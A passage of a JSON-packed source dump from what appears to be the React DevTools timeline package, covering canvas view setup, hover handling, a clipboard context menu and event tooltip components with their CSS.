suspenseEventsView;\n      suspenseEventsViewWrapper = createViewHelper(\n        suspenseEventsView,\n        'suspense',\n        true,\n        true,\n      );\n    }\n\n    const reactMeasuresView = new ReactMeasuresView(\n      surface,\n      defaultFrame,\n      data,\n    );\n    reactMeasuresViewRef.current = reactMeasuresView;\n    const reactMeasuresViewWrapper = createViewHelper(\n      reactMeasuresView,\n      'react scheduling',\n      true,\n      true,\n    );\n\n    let componentMeasuresViewWrapper = null;\n    if (data.componentMeasures.length > 0) {\n      const componentMeasuresView = new ComponentMeasuresView(\n        surface,\n        defaultFrame,\n        data,\n        viewState,\n      );\n      componentMeasuresViewRef.current = componentMeasuresView;\n      componentMeasuresViewWrapper = createViewHelper(\n        componentMeasuresView,\n        'react components',\n      );\n    }\n\n    let snapshotsViewWrapper = null;\n    if (data.snapshots.length > 0) {\n      const snapshotsView = new SnapshotsView(surface, defaultFrame, data);\n      snapshotsViewRef.current = snapshotsView;\n      snapshotsViewWrapper = createViewHelper(\n        snapshotsView,\n        'snapshots',\n        true,\n        true,\n      );\n    }\n\n    let networkMeasuresViewWrapper = null;\n    if (data.snapshots.length > 0) {\n      const networkMeasuresView = new NetworkMeasuresView(\n        surface,\n        defaultFrame,\n        data,\n      );\n      networkMeasuresViewRef.current = networkMeasuresView;\n      networkMeasuresViewWrapper = createViewHelper(\n        networkMeasuresView,\n        'network',\n        true,\n        true,\n      );\n    }\n\n    let flamechartViewWrapper = null;\n    if (data.flamechart.length > 0) {\n      const flamechartView = new FlamechartView(\n        surface,\n        defaultFrame,\n        data.flamechart,\n        data.internalModuleSourceToRanges,\n        data.duration,\n      );\n      flamechartViewRef.current = flamechartView;\n      flamechartViewWrapper = createViewHelper(\n        flamechartView,\n        'flamechart',\n        true,\n        true,\n      );\n    }\n\n    // Root view contains all of the sub views defined above.\n    // The order we add them below determines their vertical position.\n    const rootView = new View(\n      surface,\n      defaultFrame,\n      verticallyStackedLayout,\n      defaultFrame,\n      COLORS.BACKGROUND,\n    );\n    rootView.addSubview(axisMarkersViewWrapper);\n    if (userTimingMarksViewWrapper !== null) {\n      rootView.addSubview(userTimingMarksViewWrapper);\n    }\n    if (nativeEventsViewWrapper !== null) {\n      rootView.addSubview(nativeEventsViewWrapper);\n    }\n    if (schedulingEventsViewWrapper !== null) {\n      rootView.addSubview(schedulingEventsViewWrapper);\n    }\n    if (thrownErrorsViewWrapper !== null) {\n      rootView.addSubview(thrownErrorsViewWrapper);\n    }\n    if (suspenseEventsViewWrapper !== null) {\n      rootView.addSubview(suspenseEventsViewWrapper);\n    }\n    if (reactMeasuresViewWrapper !== null) {\n      rootView.addSubview(reactMeasuresViewWrapper);\n    }\n    if (componentMeasuresViewWrapper !== null) {\n      rootView.addSubview(componentMeasuresViewWrapper);\n    }\n    if (snapshotsViewWrapper !== null) {\n      rootView.addSubview(snapshotsViewWrapper);\n    }\n    if (networkMeasuresViewWrapper !== null) {\n      rootView.addSubview(networkMeasuresViewWrapper);\n    }\n    if (flamechartViewWrapper !== null) {\n      rootView.addSubview(flamechartViewWrapper);\n    }\n\n    const verticalScrollOverflowView = new VerticalScrollOverflowView(\n      surface,\n      defaultFrame,\n      rootView,\n      viewState,\n    );\n\n    surfaceRef.current.rootView = verticalScrollOverflowView;\n  }, [data]);\n\n  useLayoutEffect(() => {\n    if (canvasRef.current) {\n      surfaceRef.current.setCanvas(canvasRef.current, {width, height});\n    }\n  }, [width, height]);\n\n  const interactor = useCallback((interaction: Interaction) => {\n    const canvas = canvasRef.current;\n    if (canvas === null) {\n      return;\n    }\n\n    const surface = surfaceRef.current;\n    surface.handleInteraction(interaction);\n\n    // Flush any display work that got queued up as part of the previous interaction.\n    // Typically there should be no work, but certain interactions may need a second pass.\n    // For example, the ResizableView may collapse/expand its contents,\n    // which requires a second layout pass for an ancestor VerticalScrollOverflowView.\n    //\n    // TODO It would be nice to remove this call for performance reasons.\n    // To do that, we'll need to address the UX bug with VerticalScrollOverflowView.\n    // For more info see: https://github.com/facebook/react/pull/22005#issuecomment-896953399\n    surface.displayIfNeeded();\n\n    canvas.style.cursor = surface.getCurrentCursor() || 'default';\n\n    // Defer drawing to canvas until React's commit phase, to avoid drawing\n    // twice and to ensure that both the canvas and DOM elements managed by\n    // React are in sync.\n    setMouseLocation({\n      x: interaction.payload.event.x,\n      y: interaction.payload.event.y,\n    });\n  }, []);\n\n  useCanvasInteraction(canvasRef, interactor);\n\n  const {selectEvent} = useContext(TimelineContext);\n\n  useEffect(() => {\n    const {current: userTimingMarksView} = userTimingMarksViewRef;\n    if (userTimingMarksView) {\n      userTimingMarksView.onHover = userTimingMark => {\n        if (!hoveredEvent || hoveredEvent.userTimingMark !== userTimingMark) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            userTimingMark,\n          });\n        }\n      };\n    }\n\n    const {current: nativeEventsView} = nativeEventsViewRef;\n    if (nativeEventsView) {\n      nativeEventsView.onHover = nativeEvent => {\n        if (!hoveredEvent || hoveredEvent.nativeEvent !== nativeEvent) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            nativeEvent,\n          });\n        }\n      };\n    }\n\n    const {current: schedulingEventsView} = schedulingEventsViewRef;\n    if (schedulingEventsView) {\n      schedulingEventsView.onHover = schedulingEvent => {\n        if (!hoveredEvent || hoveredEvent.schedulingEvent !== schedulingEvent) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            schedulingEvent,\n          });\n        }\n      };\n      schedulingEventsView.onClick = schedulingEvent => {\n        selectEvent({\n          ...EMPTY_CONTEXT_INFO,\n          schedulingEvent,\n        });\n      };\n    }\n\n    const {current: suspenseEventsView} = suspenseEventsViewRef;\n    if (suspenseEventsView) {\n      suspenseEventsView.onHover = suspenseEvent => {\n        if (!hoveredEvent || hoveredEvent.suspenseEvent !== suspenseEvent) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            suspenseEvent,\n          });\n        }\n      };\n    }\n\n    const {current: reactMeasuresView} = reactMeasuresViewRef;\n    if (reactMeasuresView) {\n      reactMeasuresView.onHover = measure => {\n        if (!hoveredEvent || hoveredEvent.measure !== measure) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            measure,\n          });\n        }\n      };\n    }\n\n    const {current: componentMeasuresView} = componentMeasuresViewRef;\n    if (componentMeasuresView) {\n      componentMeasuresView.onHover = componentMeasure => {\n        if (\n          !hoveredEvent ||\n          hoveredEvent.componentMeasure !== componentMeasure\n        ) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            componentMeasure,\n          });\n        }\n      };\n    }\n\n    const {current: snapshotsView} = snapshotsViewRef;\n    if (snapshotsView) {\n      snapshotsView.onHover = snapshot => {\n        if (!hoveredEvent || hoveredEvent.snapshot !== snapshot) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            snapshot,\n          });\n        }\n      };\n    }\n\n    const {current: flamechartView} = flamechartViewRef;\n    if (flamechartView) {\n      flamechartView.setOnHover(flamechartStackFrame => {\n        if (\n          !hoveredEvent ||\n          hoveredEvent.flamechartStackFrame !== flamechartStackFrame\n        ) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            flamechartStackFrame,\n          });\n        }\n      });\n    }\n\n    const {current: networkMeasuresView} = networkMeasuresViewRef;\n    if (networkMeasuresView) {\n      networkMeasuresView.onHover = networkMeasure => {\n        if (!hoveredEvent || hoveredEvent.networkMeasure !== networkMeasure) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            networkMeasure,\n          });\n        }\n      };\n    }\n\n    const {current: thrownErrorsView} = thrownErrorsViewRef;\n    if (thrownErrorsView) {\n      thrownErrorsView.onHover = thrownError => {\n        if (!hoveredEvent || hoveredEvent.thrownError !== thrownError) {\n          updateHoveredEvent({\n            ...EMPTY_CONTEXT_INFO,\n            thrownError,\n          });\n        }\n      };\n    }\n  }, [\n    hoveredEvent,\n    data, // Attach onHover callbacks when views are re-created on data change\n  ]);\n\n  useLayoutEffect(() => {\n    const userTimingMarksView = userTimingMarksViewRef.current;\n    if (userTimingMarksView) {\n      userTimingMarksView.setHoveredMark(\n        hoveredEvent ? hoveredEvent.userTimingMark : null,\n      );\n    }\n\n    const nativeEventsView = nativeEventsViewRef.current;\n    if (nativeEventsView) {\n      nativeEventsView.setHoveredEvent(\n        hoveredEvent ? hoveredEvent.nativeEvent : null,\n      );\n    }\n\n    const schedulingEventsView = schedulingEventsViewRef.current;\n    if (schedulingEventsView) {\n      schedulingEventsView.setHoveredEvent(\n        hoveredEvent ? hoveredEvent.schedulingEvent : null,\n      );\n    }\n\n    const suspenseEventsView = suspenseEventsViewRef.current;\n    if (suspenseEventsView) {\n      suspenseEventsView.setHoveredEvent(\n        hoveredEvent ? hoveredEvent.suspenseEvent : null,\n      );\n    }\n\n    const reactMeasuresView = reactMeasuresViewRef.current;\n    if (reactMeasuresView) {\n      reactMeasuresView.setHoveredMeasure(\n        hoveredEvent ? hoveredEvent.measure : null,\n      );\n    }\n\n    const flamechartView = flamechartViewRef.current;\n    if (flamechartView) {\n      flamechartView.setHoveredFlamechartStackFrame(\n        hoveredEvent ? hoveredEvent.flamechartStackFrame : null,\n      );\n    }\n\n    const networkMeasuresView = networkMeasuresViewRef.current;\n    if (networkMeasuresView) {\n      networkMeasuresView.setHoveredEvent(\n        hoveredEvent ? hoveredEvent.networkMeasure : null,\n      );\n    }\n  }, [hoveredEvent]);\n\n  // Draw to canvas in React's commit phase\n  useLayoutEffect(() => {\n    surfaceRef.current.displayIfNeeded();\n  });\n\n  return (\n    <Fragment>\n      <canvas ref={canvasRef} height={height} width={width} />\n\n      <CanvasPageContextMenu\n        canvasRef={canvasRef}\n        hoveredEvent={lastHoveredEvent}\n        timelineData={data}\n        viewState={viewState}\n        canvasWidth={width}\n        closedMenuStub={\n          !surfaceRef.current.hasActiveView() ? (\n            <EventTooltip\n              canvasRef={canvasRef}\n              data={data}\n              height={height}\n              hoveredEvent={hoveredEvent}\n              origin={mouseLocation}\n              width={width}\n            />\n          ) : null\n        }\n        ref={contextMenuRef}\n      />\n    </Fragment>\n  );\n}\n\nexport default CanvasPage;\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/CanvasPageContextMenu.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useMemo} from 'react';\nimport {copy} from 'clipboard-js';\nimport prettyMilliseconds from 'pretty-ms';\n\nimport ContextMenuContainer from 'react-devtools-shared/src/devtools/ContextMenu/ContextMenuContainer';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport {getBatchRange} from './utils/getBatchRange';\nimport {moveStateToRange} from './view-base/utils/scrollState';\nimport {MAX_ZOOM_LEVEL, MIN_ZOOM_LEVEL} from './view-base/constants';\n\nimport type {\n  ContextMenuItem,\n  ContextMenuRef,\n} from 'react-devtools-shared/src/devtools/ContextMenu/types';\nimport type {\n  ReactEventInfo,\n  ReactMeasure,\n  TimelineData,\n  ViewState,\n} from './types';\n\nfunction zoomToBatch(\n  data: TimelineData,\n  measure: ReactMeasure,\n  viewState: ViewState,\n  width: number,\n) {\n  const {batchUID} = measure;\n  const [rangeStart, rangeEnd] = getBatchRange(batchUID, data);\n\n  // Convert from time range to ScrollState\n  const scrollState = moveStateToRange({\n    state: viewState.horizontalScrollState,\n    rangeStart,\n    rangeEnd,\n    contentLength: data.duration,\n\n    minContentLength: data.duration * MIN_ZOOM_LEVEL,\n    maxContentLength: data.duration * MAX_ZOOM_LEVEL,\n    containerLength: width,\n  });\n\n  viewState.updateHorizontalScrollState(scrollState);\n}\n\nfunction copySummary(data: TimelineData, measure: ReactMeasure) {\n  const {batchUID, duration, timestamp, type} = measure;\n\n  const [startTime, stopTime] = getBatchRange(batchUID, data);\n\n  copy(\n    JSON.stringify({\n      type,\n      timestamp: prettyMilliseconds(timestamp),\n      duration: prettyMilliseconds(duration),\n      batchDuration: prettyMilliseconds(stopTime - startTime),\n    }),\n  );\n}\n\ntype Props = {\n  canvasRef: {current: HTMLCanvasElement | null},\n  hoveredEvent: ReactEventInfo | null,\n  timelineData: TimelineData,\n  viewState: ViewState,\n  canvasWidth: number,\n  closedMenuStub: React.Node,\n  ref: ContextMenuRef,\n};\n\nexport default function CanvasPageContextMenu({\n  canvasRef,\n  timelineData,\n  hoveredEvent,\n  viewState,\n  canvasWidth,\n  closedMenuStub,\n  ref,\n}: Props): React.Node {\n  const menuItems = useMemo<ContextMenuItem[]>(() => {\n    if (hoveredEvent == null) {\n      return [];\n    }\n\n    const {\n      componentMeasure,\n      flamechartStackFrame,\n      measure,\n      networkMeasure,\n      schedulingEvent,\n      suspenseEvent,\n    } = hoveredEvent;\n    const items: ContextMenuItem[] = [];\n\n    if (componentMeasure != null) {\n      items.push({\n        onClick: () => copy(componentMeasure.componentName),\n        content: 'Copy component name',\n      });\n    }\n\n    if (networkMeasure != null) {\n      items.push({\n        onClick: () => copy(networkMeasure.url),\n        content: 'Copy URL',\n      });\n    }\n\n    if (schedulingEvent != null) {\n      items.push({\n        onClick: () => copy(schedulingEvent.componentName),\n        content: 'Copy component name',\n      });\n    }\n\n    if (suspenseEvent != null) {\n      items.push({\n        onClick: () => copy(suspenseEvent.componentName),\n        content: 'Copy component name',\n      });\n    }\n\n    if (measure != null) {\n      items.push(\n        {\n          onClick: () =>\n            zoomToBatch(timelineData, measure, viewState, canvasWidth),\n          content: 'Zoom to batch',\n        },\n        {\n          onClick: withPermissionsCheck({permissions: ['clipboardWrite']}, () =>\n            copySummary(timelineData, measure),\n          ),\n          content: 'Copy summary',\n        },\n      );\n    }\n\n    if (flamechartStackFrame != null) {\n      items.push(\n        {\n          onClick: withPermissionsCheck({permissions: ['clipboardWrite']}, () =>\n            copy(flamechartStackFrame.scriptUrl),\n          ),\n          content: 'Copy file path',\n        },\n        {\n          onClick: withPermissionsCheck({permissions: ['clipboardWrite']}, () =>\n            copy(\n              `line ${flamechartStackFrame.locationLine ?? ''}, column ${\n                flamechartStackFrame.locationColumn ?? ''\n              }`,\n            ),\n          ),\n          content: 'Copy location',\n        },\n      );\n    }\n\n    return items;\n  }, [hoveredEvent, viewState, canvasWidth]);\n\n  return (\n    <ContextMenuContainer\n      anchorElementRef={canvasRef}\n      items={menuItems}\n      closedMenuStub={closedMenuStub}\n      ref={ref}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/EventTooltip.css",
    "content": ".Tooltip {\n  position: fixed;\n}\n\n.TooltipSection,\n.TooltipWarningSection,\n.SingleLineTextSection {\n  display: block;\n  border-radius: 0.125rem;\n  padding: 0.25rem;\n  user-select: none;\n  pointer-events: none;\n  background-color: var(--color-tooltip-background);\n  box-shadow: 1px 1px 2px var(--color-shadow);\n  color: var(--color-tooltip-text);\n  font-size: 11px;\n}\n.TooltipWarningSection {\n  margin-top: 0.25rem;\n  background-color: var(--color-warning-background);\n}\n.TooltipSection,\n.TooltipWarningSection {\n  max-width: 300px;\n}\n.SingleLineTextSection {\n  white-space: nowrap;\n}\n\n.Divider {\n  height: 1px;\n  background-color: #aaa;\n  margin: 0.25rem 0;\n}\n\n.DetailsGrid {\n  display: grid;\n  padding-top: 5px;\n  grid-gap: 2px 5px;\n  grid-template-columns: min-content auto;\n}\n\n.DetailsGridLabel {\n  color: var(--color-dim);\n  text-align: right;\n  white-space: nowrap;\n}\n\n.DetailsGridLongValue {\n  word-break: break-all;\n  max-height: 50vh;\n  overflow: hidden;\n}\n\n.FlamechartStackFrameName {\n  word-break: break-word;\n}\n\n.ComponentName {\n  font-weight: bold;\n  word-break: break-word;\n  margin-right: 0.25rem;\n}\n\n.ReactMeasureLabel {\n}\n\n.UserTimingLabel {\n  word-break: break-word;\n}\n\n.NativeEventName {\n  font-weight: bold;\n  word-break: break-word;\n  margin-right: 0.25rem;\n}\n\n.WarningText {\n  color: var(--color-warning-text-color);\n}\n\n.Image {\n  border: 1px solid var(--color-border);\n}\n\n.DimText {\n  color: var(--color-dim);\n}"
  },
  {
    "path": "packages/react-devtools-timeline/src/EventTooltip.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Point} from './view-base';\nimport type {\n  FlamechartStackFrame,\n  NativeEvent,\n  NetworkMeasure,\n  ReactComponentMeasure,\n  ReactEventInfo,\n  ReactMeasure,\n  ReactMeasureType,\n  SchedulingEvent,\n  Snapshot,\n  SuspenseEvent,\n  ThrownError,\n  TimelineData,\n  UserTimingMark,\n} from './types';\n\nimport * as React from 'react';\nimport {\n  formatDuration,\n  formatTimestamp,\n  trimString,\n  getSchedulingEventLabel,\n} from './utils/formatting';\nimport {getBatchRange} from './utils/getBatchRange';\nimport useSmartTooltip from './utils/useSmartTooltip';\nimport styles from './EventTooltip.css';\n\nconst MAX_TOOLTIP_TEXT_LENGTH = 60;\n\ntype Props = {\n  canvasRef: {current: HTMLCanvasElement | null},\n  data: TimelineData,\n  height: number,\n  hoveredEvent: ReactEventInfo | null,\n  origin: Point,\n  width: number,\n};\n\nfunction getReactMeasureLabel(type: ReactMeasureType): string | null {\n  switch (type) {\n    case 'commit':\n      return 'react commit';\n    case 'render-idle':\n      return 'react idle';\n    case 'render':\n      return 'react render';\n    case 'layout-effects':\n      return 'react layout effects';\n    case 'passive-effects':\n      return 'react passive effects';\n    default:\n      return null;\n  }\n}\n\nexport default function EventTooltip({\n  canvasRef,\n  data,\n  height,\n  hoveredEvent,\n  origin,\n  width,\n}: Props): React.Node {\n  const ref = useSmartTooltip({\n    canvasRef,\n    mouseX: origin.x,\n    mouseY: origin.y,\n  });\n\n  if (hoveredEvent === null) {\n    return null;\n  }\n\n  const {\n    componentMeasure,\n    flamechartStackFrame,\n    measure,\n    nativeEvent,\n    networkMeasure,\n    schedulingEvent,\n    snapshot,\n    suspenseEvent,\n    thrownError,\n    userTimingMark,\n  } = hoveredEvent;\n\n  let content = null;\n  if (componentMeasure !== null) {\n    content = (\n      <TooltipReactComponentMeasure componentMeasure={componentMeasure} />\n    );\n  } else if (nativeEvent !== null) {\n    content = <TooltipNativeEvent nativeEvent={nativeEvent} />;\n  } else if (networkMeasure !== null) {\n    content = <TooltipNetworkMeasure networkMeasure={networkMeasure} />;\n  } else if (schedulingEvent !== null) {\n    content = (\n      <TooltipSchedulingEvent data={data} schedulingEvent={schedulingEvent} />\n    );\n  } else if (snapshot !== null) {\n    content = (\n      <TooltipSnapshot height={height} snapshot={snapshot} width={width} />\n    );\n  } else if (suspenseEvent !== null) {\n    content = <TooltipSuspenseEvent suspenseEvent={suspenseEvent} />;\n  } else if (measure !== null) {\n    content = <TooltipReactMeasure data={data} measure={measure} />;\n  } else if (flamechartStackFrame !== null) {\n    content = <TooltipFlamechartNode stackFrame={flamechartStackFrame} />;\n  } else if (userTimingMark !== null) {\n    content = <TooltipUserTimingMark mark={userTimingMark} />;\n  } else if (thrownError !== null) {\n    content = <TooltipThrownError thrownError={thrownError} />;\n  }\n\n  if (content !== null) {\n    return (\n      <div className={styles.Tooltip} ref={ref}>\n        {content}\n      </div>\n    );\n  } else {\n    return null;\n  }\n}\n\nconst TooltipReactComponentMeasure = ({\n  componentMeasure,\n}: {\n  componentMeasure: ReactComponentMeasure,\n}) => {\n  const {componentName, duration, timestamp, type, warning} = componentMeasure;\n\n  let label = componentName;\n  switch (type) {\n    case 'render':\n      label += ' rendered';\n      break;\n    case 'layout-effect-mount':\n      label += ' mounted layout effect';\n      break;\n    case 'layout-effect-unmount':\n      label += ' unmounted layout effect';\n      break;\n    case 'passive-effect-mount':\n      label += ' mounted passive effect';\n      break;\n    case 'passive-effect-unmount':\n      label += ' unmounted passive effect';\n      break;\n  }\n\n  return (\n    <>\n      <div className={styles.TooltipSection}>\n        {trimString(label, 768)}\n        <div className={styles.Divider} />\n        <div className={styles.DetailsGrid}>\n          <div className={styles.DetailsGridLabel}>Timestamp:</div>\n          <div>{formatTimestamp(timestamp)}</div>\n          <div className={styles.DetailsGridLabel}>Duration:</div>\n          <div>{formatDuration(duration)}</div>\n        </div>\n      </div>\n      {warning !== null && (\n        <div className={styles.TooltipWarningSection}>\n          <div className={styles.WarningText}>{warning}</div>\n        </div>\n      )}\n    </>\n  );\n};\n\nconst TooltipFlamechartNode = ({\n  stackFrame,\n}: {\n  stackFrame: FlamechartStackFrame,\n}) => {\n  const {name, timestamp, duration, locationLine, locationColumn} = stackFrame;\n  return (\n    <div className={styles.TooltipSection}>\n      <span className={styles.FlamechartStackFrameName}>{name}</span>\n      <div className={styles.DetailsGrid}>\n        <div className={styles.DetailsGridLabel}>Timestamp:</div>\n        <div>{formatTimestamp(timestamp)}</div>\n        <div className={styles.DetailsGridLabel}>Duration:</div>\n        <div>{formatDuration(duration)}</div>\n        {(locationLine !== undefined || locationColumn !== undefined) && (\n          <>\n            <div className={styles.DetailsGridLabel}>Location:</div>\n            <div>\n              line {locationLine}, column {locationColumn}\n            </div>\n          </>\n        )}\n      </div>\n    </div>\n  );\n};\n\nconst TooltipNativeEvent = ({nativeEvent}: {nativeEvent: NativeEvent}) => {\n  const {duration, timestamp, type, warning} = nativeEvent;\n\n  return (\n    <>\n      <div className={styles.TooltipSection}>\n        <span className={styles.NativeEventName}>{trimString(type, 768)}</span>\n        event\n        <div className={styles.Divider} />\n        <div className={styles.DetailsGrid}>\n          <div className={styles.DetailsGridLabel}>Timestamp:</div>\n          <div>{formatTimestamp(timestamp)}</div>\n          <div className={styles.DetailsGridLabel}>Duration:</div>\n          <div>{formatDuration(duration)}</div>\n        </div>\n      </div>\n      {warning !== null && (\n        <div className={styles.TooltipWarningSection}>\n          <div className={styles.WarningText}>{warning}</div>\n        </div>\n      )}\n    </>\n  );\n};\n\nconst TooltipNetworkMeasure = ({\n  networkMeasure,\n}: {\n  networkMeasure: NetworkMeasure,\n}) => {\n  const {\n    finishTimestamp,\n    lastReceivedDataTimestamp,\n    priority,\n    sendRequestTimestamp,\n    url,\n  } = networkMeasure;\n\n  let urlToDisplay = url;\n  if (urlToDisplay.length > MAX_TOOLTIP_TEXT_LENGTH) {\n    const half = Math.floor(MAX_TOOLTIP_TEXT_LENGTH / 2);\n    urlToDisplay = url.slice(0, half) + '…' + url.slice(url.length - half);\n  }\n\n  const timestampBegin = sendRequestTimestamp;\n  const timestampEnd = finishTimestamp || lastReceivedDataTimestamp;\n  const duration =\n    timestampEnd > 0\n      ? formatDuration(finishTimestamp - timestampBegin)\n      : '(incomplete)';\n\n  return (\n    <div className={styles.SingleLineTextSection}>\n      {duration} <span className={styles.DimText}>{priority}</span>{' '}\n      {urlToDisplay}\n    </div>\n  );\n};\n\nconst TooltipSchedulingEvent = ({\n  data,\n  schedulingEvent,\n}: {\n  data: TimelineData,\n  schedulingEvent: SchedulingEvent,\n}) => {\n  const label = getSchedulingEventLabel(schedulingEvent);\n  if (!label) {\n    if (__DEV__) {\n      console.warn(\n        'Unexpected schedulingEvent type \"%s\"',\n        schedulingEvent.type,\n      );\n    }\n    return null;\n  }\n\n  let laneLabels = null;\n  let lanes = null;\n  switch (schedulingEvent.type) {\n    case 'schedule-render':\n    case 'schedule-state-update':\n    case 'schedule-force-update':\n      lanes = schedulingEvent.lanes;\n      laneLabels = lanes.map(\n        lane => ((data.laneToLabelMap.get(lane): any): string),\n      );\n      break;\n  }\n\n  const {componentName, timestamp, warning} = schedulingEvent;\n\n  return (\n    <>\n      <div className={styles.TooltipSection}>\n        {componentName && (\n          <span className={styles.ComponentName}>\n            {trimString(componentName, 100)}\n          </span>\n        )}\n        {label}\n        <div className={styles.Divider} />\n        <div className={styles.DetailsGrid}>\n          {laneLabels !== null && lanes !== null && (\n            <>\n              <div className={styles.DetailsGridLabel}>Lanes:</div>\n              <div>\n                {laneLabels.join(', ')} ({lanes.join(', ')})\n              </div>\n            </>\n          )}\n          <div className={styles.DetailsGridLabel}>Timestamp:</div>\n          <div>{formatTimestamp(timestamp)}</div>\n        </div>\n      </div>\n      {warning !== null && (\n        <div className={styles.TooltipWarningSection}>\n          <div className={styles.WarningText}>{warning}</div>\n        </div>\n      )}\n    </>\n  );\n};\n\nconst TooltipSnapshot = ({\n  height,\n  snapshot,\n  width,\n}: {\n  height: number,\n  snapshot: Snapshot,\n  width: number,\n}) => {\n  const aspectRatio = snapshot.width / snapshot.height;\n\n  // Zoomed in view should not be any bigger than the DevTools viewport.\n  let safeWidth = snapshot.width;\n  let safeHeight = snapshot.height;\n  if (safeWidth > width) {\n    safeWidth = width;\n    safeHeight = safeWidth / aspectRatio;\n  }\n  if (safeHeight > height) {\n    safeHeight = height;\n    safeWidth = safeHeight * aspectRatio;\n  }\n\n  return (\n    <img\n      className={styles.Image}\n      src={snapshot.imageSource}\n      style={{height: safeHeight, width: safeWidth}}\n    />\n  );\n};\n\nconst TooltipSuspenseEvent = ({\n  suspenseEvent,\n}: {\n  suspenseEvent: SuspenseEvent,\n}) => {\n  const {\n    componentName,\n    duration,\n    phase,\n    promiseName,\n    resolution,\n    timestamp,\n    warning,\n  } = suspenseEvent;\n\n  let label = 'suspended';\n  if (phase !== null) {\n    label += ` during ${phase}`;\n  }\n\n  return (\n    <>\n      <div className={styles.TooltipSection}>\n        {componentName && (\n          <span className={styles.ComponentName}>\n            {trimString(componentName, 100)}\n          </span>\n        )}\n        {label}\n        <div className={styles.Divider} />\n        <div className={styles.DetailsGrid}>\n          {promiseName !== null && (\n            <>\n              <div className={styles.DetailsGridLabel}>Resource:</div>\n              <div className={styles.DetailsGridLongValue}>{promiseName}</div>\n            </>\n          )}\n          <div className={styles.DetailsGridLabel}>Status:</div>\n          <div>{resolution}</div>\n          <div className={styles.DetailsGridLabel}>Timestamp:</div>\n          <div>{formatTimestamp(timestamp)}</div>\n          {duration !== null && (\n            <>\n              <div className={styles.DetailsGridLabel}>Duration:</div>\n              <div>{formatDuration(duration)}</div>\n            </>\n          )}\n        </div>\n      </div>\n      {warning !== null && (\n        <div className={styles.TooltipWarningSection}>\n          <div className={styles.WarningText}>{warning}</div>\n        </div>\n      )}\n    </>\n  );\n};\n\nconst TooltipReactMeasure = ({\n  data,\n  measure,\n}: {\n  data: TimelineData,\n  measure: ReactMeasure,\n}) => {\n  const label = getReactMeasureLabel(measure.type);\n  if (!label) {\n    if (__DEV__) {\n      console.warn('Unexpected measure type \"%s\"', measure.type);\n    }\n    return null;\n  }\n\n  const {batchUID, duration, timestamp, lanes} = measure;\n  const [startTime, stopTime] = getBatchRange(batchUID, data);\n\n  const laneLabels = lanes.map(\n    lane => ((data.laneToLabelMap.get(lane): any): string),\n  );\n\n  return (\n    <div className={styles.TooltipSection}>\n      <span className={styles.ReactMeasureLabel}>{label}</span>\n      <div className={styles.Divider} />\n      <div className={styles.DetailsGrid}>\n        <div className={styles.DetailsGridLabel}>Timestamp:</div>\n        <div>{formatTimestamp(timestamp)}</div>\n        {measure.type !== 'render-idle' && (\n          <>\n            <div className={styles.DetailsGridLabel}>Duration:</div>\n            <div>{formatDuration(duration)}</div>\n          </>\n        )}\n        <div className={styles.DetailsGridLabel}>Batch duration:</div>\n        <div>{formatDuration(stopTime - startTime)}</div>\n        <div className={styles.DetailsGridLabel}>\n          Lane{lanes.length === 1 ? '' : 's'}:\n        </div>\n        <div>\n          {laneLabels.length > 0\n            ? `${laneLabels.join(', ')} (${lanes.join(', ')})`\n            : lanes.join(', ')}\n        </div>\n      </div>\n    </div>\n  );\n};\n\nconst TooltipUserTimingMark = ({mark}: {mark: UserTimingMark}) => {\n  const {name, timestamp} = mark;\n  return (\n    <div className={styles.TooltipSection}>\n      <span className={styles.UserTimingLabel}>{name}</span>\n      <div className={styles.Divider} />\n      <div className={styles.DetailsGrid}>\n        <div className={styles.DetailsGridLabel}>Timestamp:</div>\n        <div>{formatTimestamp(timestamp)}</div>\n      </div>\n    </div>\n  );\n};\n\nconst TooltipThrownError = ({thrownError}: {thrownError: ThrownError}) => {\n  const {componentName, message, phase, timestamp} = thrownError;\n  const label = `threw an error during ${phase}`;\n  return (\n    <div className={styles.TooltipSection}>\n      {componentName && (\n        <span className={styles.ComponentName}>\n          {trimString(componentName, 100)}\n        </span>\n      )}\n      <span className={styles.UserTimingLabel}>{label}</span>\n      <div className={styles.Divider} />\n      <div className={styles.DetailsGrid}>\n        <div className={styles.DetailsGridLabel}>Timestamp:</div>\n        <div>{formatTimestamp(timestamp)}</div>\n        {message !== '' && (\n          <>\n            <div className={styles.DetailsGridLabel}>Error:</div>\n            <div>{message}</div>\n          </>\n        )}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/Timeline.css",
    "content": ".Content {\n  width: 100%;\n  position: relative;\n  flex: 1 1 auto;\n  display: flex;\n  flex-direction: column;\n  align-items: center;\n  justify-content: center;\n}\n\n\n.ErrorMessage {\n  margin: 0.5rem 0;\n  color: var(--color-dim);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.Row {\n  display: flex;\n  flex-direction: row;\n  align-items: center;\n  justify-content: center;\n  flex-flow: wrap;\n}\n\n.EmptyStateContainer {\n  text-align: center;\n}\n\n.Header {\n  font-size: var(--font-size-sans-large);\n  margin-bottom: 0.5rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/Timeline.js",
